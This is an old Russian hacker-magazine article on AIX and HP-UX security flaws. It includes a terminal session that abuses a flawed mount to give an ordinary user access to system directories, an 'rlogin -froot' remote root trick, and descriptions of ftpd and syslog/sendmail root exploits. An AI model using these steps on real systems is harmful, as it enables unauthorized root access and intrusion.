
Юниксоид
Xakep Online -> Журнал, номер #012, стр. 012-052-3
AIX
http://www.ibm.com/servers/aix/
Разработчик: IBM
AIX - операционная система unix-like, поддерживающая мультипроцессорные машины с оперативной памятью до 64 гигабайт. Включает в себя большое количество программ, облегчающих жизнь народу, кто занимается коммерцией, веб-дизайном, явой и прочим в Интернете. Если говорить о секьюрити, то можно отнести AIX к среднему классу, хотя в последней версии с дистрибутивом поставляется даже IP address range filter. Наивные, они надеются, что это повысит уровень безопасности их системы. :)
Дырявый маунт на AIX 4.1.3, 4.1.4, 4.2.0 и 4.2.1 позволяет маунтить любую файлсистему, директорию обычному пользователю.
dr.nuke /home/satan > oslevel
4.1.4.0
dr.nuke /home/satan > who am i
satan pts/2
dr.nuke /home/satan > id
uid=20653(satan) gid=101(666group)
dr.nuke /home/satan > ln -s /tmp mnt
dr.nuke /home/satan > mount /usr mnt
dr.nuke /home/rquick > cd /tmp
dr.nuke /tmp > ls
OV dict include lpd sbin ucb
adm dt lbin lpp share usg
bin ebt lib man spool
ccs eligibility local pub sys
common etc
dr.nuke /tmp >
Дырявый ftpd на AIX 4.3.2, запущенный на # RS6000. Можно удаленно получить root. А самое прикольное, что у них было из ошибок, это в какой-то версии, вроде бы 2.2.1, пермишены файла shadow забыли установить как надо, и после установки любой пользователь мог изменять его. А в AIX 3.* пишем v aix 3.* удаленный баг, пишем rlogin-froot host и получаем root shell! :)))
HP-UX
http://www.hp.com
Разработчик: Hewlett Packard
HP-UX - UNIX операционная среда, обеспечивающая высокую надежную стандартизированную основу для компаний, для администрирования и управления деловыми решениями. HP-UX предназначен для работы в пределах от рабочего стола предприятия, технических автоматизированных рабочих мест, рабочих групп и до центров данных больших предприятий. Пашет начиная с серверов HP 9000 или рабочих станций и до мультипроцессорного HP 9000 Model T520. Мда... звучит-то как! :). Но у HP-UX проблемки с безопасностью. Как ни выйдет новая версия, всегда найдется полно ошибок, используя которые локально, а иногда и удаленно, простому пользователю можно получить root shell.
Во многих Unix системах переполнение буфера возможно в syslog библиотеках. Процесс, который регистрирует действия пользователя с файлами системы, может выполнять программы на машине как root. Syslog библиотеки используют внутренний буфер, при создании сообщений, которые посланы syslogd демоном. И обычно не исполняется проверка количества данных, запасенных в этом буфере. Возможно переполнить внутренний буфер, переписывая под обычный стек запроса, и таким образом выполнять произвольные программы. На основе этой ошибки написано огромное количество эксплоитов под разные ЮНИКС системы. Не остался в стороне и HP-UX. А дело-то еще и в том, что Sendmail программа использует syslog библиотеки. И, следовательно, можно удаленно получить root с sendmail версий до v.8.8.5 на платформах Ultrix, AIX 3.2, AIX 4.1, HPUX 10.00, HPUX 10.09, HPUX 8.x, HPUX 9.x, IRIX 3.x.